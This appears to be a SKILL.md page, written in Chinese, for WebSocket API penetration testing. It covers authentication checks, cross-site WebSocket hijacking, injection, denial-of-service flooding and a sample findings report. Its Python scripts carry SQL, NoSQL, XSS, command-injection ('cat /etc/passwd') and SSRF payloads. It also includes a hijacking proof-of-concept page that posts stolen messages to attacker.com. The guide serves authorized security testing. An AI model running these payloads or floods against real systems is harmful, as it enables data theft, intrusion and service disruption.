Développement · SKILL.md

testing-websocket-api-security

testing-websocket-api-security

测试 WebSocket API 实现中的安全漏洞，包括 WebSocket 升级时缺少身份认证、跨站 WebSocket 劫持（Cross-Site WebSocket Hijacking，CSWSH）、通过 WebSocket 消息进行的注入攻击、输入校验不足、通过消息泛洪实施拒绝服务，以及通过 WebSocket 帧造成的信息泄露。测试人员使用 Burp Suite 拦截 WebSocket 握手和消息，构造恶意 payload，并测试 WebSocket 通道上的授权绕过。适用于 WebSocket 安全测试、WS 渗透测试、CSWSH 攻击或实时 API 安全评估相关请求。

Independent GitHub snapshot · Automated classification · Original documentation governs

Kkillvxk / cybersecurity-skills-zhApache-2.0

Documentation de la Skill

GitHub

name: testing-websocket-api-security description: > 测试 WebSocket API 实现中的安全漏洞，包括 WebSocket 升级时缺少身份认证、跨站 WebSocket 劫持（Cross-Site WebSocket Hijacking，CSWSH）、通过 WebSocket 消息进行的注入攻击、输入校验不足、通过消息泛洪实施拒绝服务，以及通过 WebSocket 帧造成的信息泄露。测试人员使用 Burp Suite 拦截 WebSocket 握手和消息，构造恶意 payload，并测试 WebSocket 通道上的授权绕过。适用于 WebSocket 安全测试、WS 渗透测试、CSWSH 攻击或实时 API 安全评估相关请求。 domain: cybersecurity subdomain: api-security tags: [api-security, websocket, cswsh, real-time, injection, authentication] version: 1.0.0 author: mahipal license: Apache-2.0

测试 WebSocket API 安全

适用场景

评估使用 WebSocket（ws://）或安全 WebSocket（Secure WebSocket，wss://）协议的实时通信 API
测试跨站 WebSocket 劫持（CSWSH）——攻击者页面连接到合法 WebSocket 服务器
评估 WebSocket 连接和消息上的身份认证与授权强制执行
测试 WebSocket 消息 payload 的输入校验，发现注入漏洞
评估 WebSocket 实现是否存在通过消息泛洪或超大帧实施的拒绝服务（DoS）风险

不适用于未经书面授权的情况。WebSocket 测试可能中断实时服务并影响其他已连接用户。

前置条件

书面授权，明确 WebSocket 端点和测试范围
Burp Suite Professional，具备 WebSocket 拦截能力
Python 3.10+，安装 websockets 和 asyncio 库
浏览器开发者工具，用于观察 WebSocket 握手和帧
wscat CLI 工具，用于手动 WebSocket 交互：npm install -g wscat
了解所使用的 WebSocket 子协议（JSON-RPC、STOMP 或自定义协议）

工作流程

步骤 1：WebSocket 端点发现与握手分析

import asyncio
import websockets
import json
import ssl
import time

WS_URL = "wss://target-api.example.com/ws"
AUTH_TOKEN = "Bearer <token>"

# 捕获并分析 WebSocket 握手
async def analyze_handshake():
    """分析 WebSocket 升级请求和响应头。"""
    try:
        async with websockets.connect(
            WS_URL,
            extra_headers={"Authorization": AUTH_TOKEN},
            ssl=ssl.create_default_context()
        ) as ws:
            print(f"已连接到: {WS_URL}")
            print(f"协议: {ws.subprotocol}")
            print(f"扩展: {ws.extensions}")

            # 发送测试消息
            test_msg = json.dumps({"type": "ping"})
            await ws.send(test_msg)
            response = await asyncio.wait_for(ws.recv(), timeout=5)
            print(f"服务器响应: {response}")

            return True
    except websockets.exceptions.InvalidStatusCode as e:
        print(f"连接被拒绝: {e.status_code}")
        return False
    except Exception as e:
        print(f"连接错误: {e}")
        return False

asyncio.run(analyze_handshake())

步骤 2：身份认证与授权测试

async def test_ws_authentication():
    """测试 WebSocket 是否需要身份认证。"""
    results = []

    # 测试 1：不带任何认证连接
    try:
        async with websockets.connect(WS_URL) as ws:
            await ws.send(json.dumps({"type": "get_user_data"}))
            resp = await asyncio.wait_for(ws.recv(), timeout=5)
            results.append({
                "test": "无认证",
                "status": "存在漏洞",
                "response": resp[:200]
            })
            print(f"[漏洞] WebSocket 在无认证情况下可访问")
    except websockets.exceptions.InvalidStatusCode:
        results.append({"test": "无认证", "status": "安全"})
    except Exception as e:
        results.append({"test": "无认证", "status": f"错误: {e}"})

    # 测试 2：使用无效令牌连接
    try:
        async with websockets.connect(WS_URL,
            extra_headers={"Authorization": "Bearer invalid_token"}) as ws:
            await ws.send(json.dumps({"type": "get_user_data"}))
            resp = await asyncio.wait_for(ws.recv(), timeout=5)
            results.append({
                "test": "无效令牌",
                "status": "存在漏洞",
                "response": resp[:200]
            })
    except websockets.exceptions.InvalidStatusCode:
        results.append({"test": "无效令牌", "status": "安全"})
    except Exception as e:
        results.append({"test": "无效令牌", "status": f"错误: {e}"})

    # 测试 3：使用过期令牌连接
    expired_token = "Bearer eyJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2MDAwMDAwMDB9.expired"
    try:
        async with websockets.connect(WS_URL,
            extra_headers={"Authorization": expired_token}) as ws:
            await ws.send(json.dumps({"type": "get_user_data"}))
            resp = await asyncio.wait_for(ws.recv(), timeout=5)
            results.append({"test": "过期令牌", "status": "存在漏洞"})
    except (websockets.exceptions.InvalidStatusCode, Exception):
        results.append({"test": "过期令牌", "status": "安全"})

    # 测试 4：令牌在查询参数中（泄露风险）
    try:
        async with websockets.connect(f"{WS_URL}?token={AUTH_TOKEN}") as ws:
            await ws.send(json.dumps({"type": "ping"}))
            resp = await asyncio.wait_for(ws.recv(), timeout=5)
            results.append({
                "test": "URL 中的令牌",
                "status": "信息 - 令牌在查询参数中被接受（可能泄露到日志中）"
            })
    except Exception:
        results.append({"test": "URL 中的令牌", "status": "已拒绝"})

    for r in results:
        print(f"  [{r['status'][:10]}] {r['test']}")

    return results

asyncio.run(test_ws_authentication())

步骤 3：跨站 WebSocket 劫持（CSWSH）测试

async def test_cswsh():
    """测试跨站 WebSocket 劫持漏洞。"""
    # CSWSH 发生于 WebSocket 服务器未校验 Origin 头部时
    # 攻击者的网站可以连接到合法 WebSocket 并窃取数据

    origins_to_test = [
        None,                                    # 无 Origin 头部
        "https://evil.com",                      # 攻击者域名
        "https://target-api.example.com.evil.com",  # 子域名混淆
        "null",                                  # null origin（沙盒 iframe）
        "https://target-api.example.com",        # 合法 origin
        "http://target-api.example.com",         # HTTP 降级
    ]

    print("=== CSWSH 测试 ===\n")
    for origin in origins_to_test:
        try:
            headers = {"Authorization": AUTH_TOKEN}
            if origin:
                headers["Origin"] = origin

            async with websockets.connect(WS_URL, extra_headers=headers) as ws:
                # 尝试接收应受限制的数据
                await ws.send(json.dumps({"type": "get_messages"}))
                resp = await asyncio.wait_for(ws.recv(), timeout=5)

                if origin and origin != "https://target-api.example.com":
                    print(f"[CSWSH] Origin '{origin}' -> 已接受（已收到数据）")
                else:
                    print(f"[正常] Origin '{origin}' -> 已接受（合法来源）")
        except websockets.exceptions.InvalidStatusCode as e:
            print(f"[已阻止] Origin '{origin}' -> 已拒绝 ({e.status_code})")
        except Exception as e:
            print(f"[错误] Origin '{origin}' -> {e}")

asyncio.run(test_cswsh())

# CSWSH 利用的 PoC HTML 页面
CSWSH_POC = """
<!DOCTYPE html>
<html>
<head><title>CSWSH PoC</title></head>
<body>
<script>
// 此页面托管在 attacker.com，连接到目标 WebSocket
// 如果服务器不校验 Origin，受害者的浏览器将
// 发送 cookie/凭据，攻击者将收到数据

var ws = new WebSocket("wss://target-api.example.com/ws");

ws.onopen = function() {
    console.log("已连接到目标 WebSocket");
    ws.send(JSON.stringify({type: "get_messages"}));
    ws.send(JSON.stringify({type: "get_user_data"}));
};

ws.onmessage = function(event) {
    console.log("窃取的数据:", event.data);
    // 外泄到攻击者服务器
    fetch("https://attacker.com/collect", {
        method: "POST",
        body: event.data
    });
};
</script>
<p>加载中... (CSWSH 攻击进行中)</p>
</body>
</html>
"""

步骤 4：WebSocket 消息注入测试

async def test_ws_injection():
    """测试 WebSocket 消息中的注入漏洞。"""

    INJECTION_PAYLOADS = {
        "sql": [
            {"type": "search", "query": "' OR '1'='1"},
            {"type": "search", "query": "'; DROP TABLE messages;--"},
            {"type": "get_message", "id": "1 UNION SELECT username,password FROM users--"},
        ],
        "nosql": [
            {"type": "search", "query": {"$ne": ""}},
            {"type": "get_user", "filter": {"$gt": ""}},
        ],
        "xss": [
            {"type": "send_message", "content": "<script>alert('xss')</script>"},
            {"type": "send_message", "content": "<img src=x onerror=alert(1)>"},
            {"type": "update_name", "name": "Test<script>document.location='https://evil.com'</script>"},
        ],
        "command": [
            {"type": "process", "file": "test; cat /etc/passwd"},
            {"type": "convert", "input": "test | id"},
        ],
        "ssrf": [
            {"type": "load_url", "url": "http://169.254.169.254/latest/meta-data/"},
            {"type": "webhook", "callback": "http://localhost:6379/"},
        ],
        "overflow": [
            {"type": "send_message", "content": "A" * 100000},
            {"type": "search", "query": "B" * 1000000},
        ],
    }

    async with websockets.connect(WS_URL,
        extra_headers={"Authorization": AUTH_TOKEN}) as ws:

        for category, payloads in INJECTION_PAYLOADS.items():
            for payload in payloads:
                try:
                    await ws.send(json.dumps(payload))
                    resp = await asyncio.wait_for(ws.recv(), timeout=5)

                    # 分析响应中的注入特征
                    resp_lower = resp.lower()
                    indicators = []
                    if any(kw in resp_lower for kw in ["sql", "syntax", "mysql", "postgresql"]):
                        indicators.append("SQL 错误")
                    if any(kw in resp_lower for kw in ["root:", "uid=", "etc/passwd"]):
                        indicators.append("命令执行输出")
                    if any(kw in resp_lower for kw in ["ami-id", "instance-id", "metadata"]):
                        indicators.append("SSRF 数据")
                    if "script" in resp_lower and "xss" not in category:
                        indicators.append("反射型 XSS")

                    if indicators:
                        print(f"[{category.upper()}] {json.dumps(payload)[:60]} -> {indicators}")
                    elif len(resp) > 10000:
                        print(f"[溢出] 大响应: {len(resp)} 字节")
                except asyncio.TimeoutError:
                    pass
                except websockets.exceptions.ConnectionClosed:
                    print(f"[崩溃] {category} payload 后连接关闭")
                    # 重新连接
                    break

asyncio.run(test_ws_injection())

步骤 5：拒绝服务测试

async def test_ws_dos():
    """测试 WebSocket 的 DoS 漏洞。"""
    print("=== WebSocket DoS 测试 ===\n")

    # 测试 1：消息泛洪
    async def flood_test():
        async with websockets.connect(WS_URL,
            extra_headers={"Authorization": AUTH_TOKEN}) as ws:
            count = 0
            start = time.time()
            for i in range(10000):
                try:
                    await ws.send(json.dumps({"type": "ping", "id": i}))
                    count += 1
                except websockets.exceptions.ConnectionClosed:
                    break
            elapsed = time.time() - start
            print(f"  泛洪测试: {elapsed:.1f}s 内发送了 {count} 条消息（{count/elapsed:.0f} msg/s）")

    await flood_test()

    # 测试 2：超大消息
    async def large_message_test():
        sizes = [1024, 10240, 102400, 1024000, 10240000]  # 1KB 到 10MB
        async with websockets.connect(WS_URL,
            extra_headers={"Authorization": AUTH_TOKEN},
            max_size=20*1024*1024) as ws:
            for size in sizes:
                try:
                    large_msg = json.dumps({"type": "data", "payload": "A" * size})
                    await ws.send(large_msg)
                    resp = await asyncio.wait_for(ws.recv(), timeout=5)
                    print(f"  超大消息（{size} 字节）: 已接受")
                except (websockets.exceptions.ConnectionClosed, asyncio.TimeoutError) as e:
                    print(f"  超大消息（{size} 字节）: 已拒绝/已断连")
                    break

    await large_message_test()

    # 测试 3：连接耗尽
    async def connection_exhaustion():
        connections = []
        for i in range(100):
            try:
                ws = await websockets.connect(WS_URL,
                    extra_headers={"Authorization": AUTH_TOKEN})
                connections.append(ws)
            except Exception:
                break
        print(f"  连接耗尽测试: 建立了 {len(connections)} 个并发连接")
        for ws in connections:
            await ws.close()

    await connection_exhaustion()

asyncio.run(test_ws_dos())

核心概念

术语	定义
WebSocket	基于单个 TCP 连接的全双工通信协议，通过 HTTP 升级握手建立连接
CSWSH	跨站 WebSocket 劫持（Cross-Site WebSocket Hijacking）——恶意网站利用受害者浏览器的凭据向合法服务器发起 WebSocket 连接
Origin 校验	在 WebSocket 握手期间对 Origin 头部进行服务端检查，通过拒绝来自未授权域名的连接来防止 CSWSH
WebSocket 帧（Frame）	WebSocket 通信的基本数据单元，包含操作码、掩码、payload 长度和 payload 数据
升级握手（Upgrade Handshake）	携带 `Upgrade: websocket` 和 `Connection: Upgrade` 头部的 HTTP 请求，用于建立 WebSocket 连接
消息泛洪（Message Flooding）	发送大量 WebSocket 消息以耗尽服务器资源（内存、CPU、带宽）

工具与系统

Burp Suite Professional：拦截 WebSocket 握手和消息，支持消息修改和重放
OWASP ZAP：具备消息模糊测试、拦截和断点功能的 WebSocket 测试工具
wscat：命令行 WebSocket 客户端，用于手动测试：wscat -c wss://target.com/ws -H "Authorization: Bearer token"
websocat：高级 CLI WebSocket 工具，支持代理、广播和脚本化功能
Autobahn TestSuite：全面的 WebSocket 协议合规性和安全测试框架

常见场景

场景：聊天应用 WebSocket 安全评估

场景背景：某即时通讯应用使用 WebSocket 实现实时聊天，WebSocket 端点处理消息投递、正在输入指示、已读回执和用户在线状态。认证基于 Cookie。

方法：

分析 WebSocket 握手：连接建立于 wss://chat.example.com/ws，使用会话 Cookie 认证
测试 CSWSH：WebSocket 服务器未校验 Origin 头部——攻击者页面可以连接并接收受害者的消息
测试认证：WebSocket 接受带有过期会话 Cookie 的连接（会话校验仅在握手时进行，后续消息不再校验）
测试授权：用户 A 可通过构造频道 ID，向其不是成员的私有频道发送消息
测试注入：消息内容未经过滤直接存储；消息体中的 XSS payload 在其他用户浏览器中执行
测试消息泛洪：服务器在无速率限制的情况下每秒接受 5000 条消息，导致 CPU 峰值
发现 WebSocket 消息泄露了发送者的内部用户 ID、邮箱和 IP 地址（信息泄露）

常见陷阱：

因应用使用基于令牌的认证而不测试 CSWSH（Cookie 会随 WebSocket 自动发送）
仅测试初始握手认证，而未验证持续的消息授权
因 payload 在 JSON WebSocket 帧中而非 HTTP 参数中，遗漏注入漏洞
未测试重连行为（服务器重连时是否重新校验认证？）
忽视 WebSocket 连接可能绕过 HTTP 层速率限制和 WAF 规则

输出格式

## 发现：跨站 WebSocket 劫持（CSWSH）导致实时数据被窃取

**ID**: API-WS-001
**严重程度**: 高 (CVSS 8.1)
**受影响端点**: wss://chat.example.com/ws

**描述**:
WebSocket 服务器在握手期间未校验 Origin 头部。攻击者可托管恶意网页，
利用受害者的会话 Cookie 向聊天服务器建立 WebSocket 连接。
所有消息、正在输入指示和在线状态数据都会被实时转发给攻击者。

**概念验证**:
将 CSWSH PoC 页面托管在 attacker.com。当已登录用户访问该页面时，
JavaScript 会向聊天服务器建立 WebSocket 连接。服务器使用受害者的
Cookie 对连接进行认证，并将所有实时聊天数据发送给攻击者的连接。

**影响**:
实时拦截任何访问攻击者页面的用户的所有私人消息、在线状态数据和输入指示。

**修复建议**:
1. 将 Origin 头部与合法域名白名单进行校验
2. 在 WebSocket 握手 URL 中实现 CSRF 令牌
3. 对 WebSocket 使用基于令牌的认证（Authorization 头部）而非 Cookie
4. 实施逐消息授权检查，而不仅仅是连接级认证
5. 对每个连接的 WebSocket 消息量添加速率限制

MAKE IT PART OF YOUR WORKFLOW

Installer la Skill

TERMINAL

npx skills add killvxk/cybersecurity-skills-zh --skill testing-websocket-api-security

Exécutez la commande dans votre terminal. Vérifiez le code et la licence avant l’installation.

ZIP · Complete skill directory with resources and licenses

SKILL.md · Instructions file only

Étoiles du dépôt: Not synced
Licence: Apache-2.0
Version / branche: HEAD · 27418b6c
Dépôt mis à jour: Not synced

Vérifiez les scripts et les autorisations avant l’installation.

Code source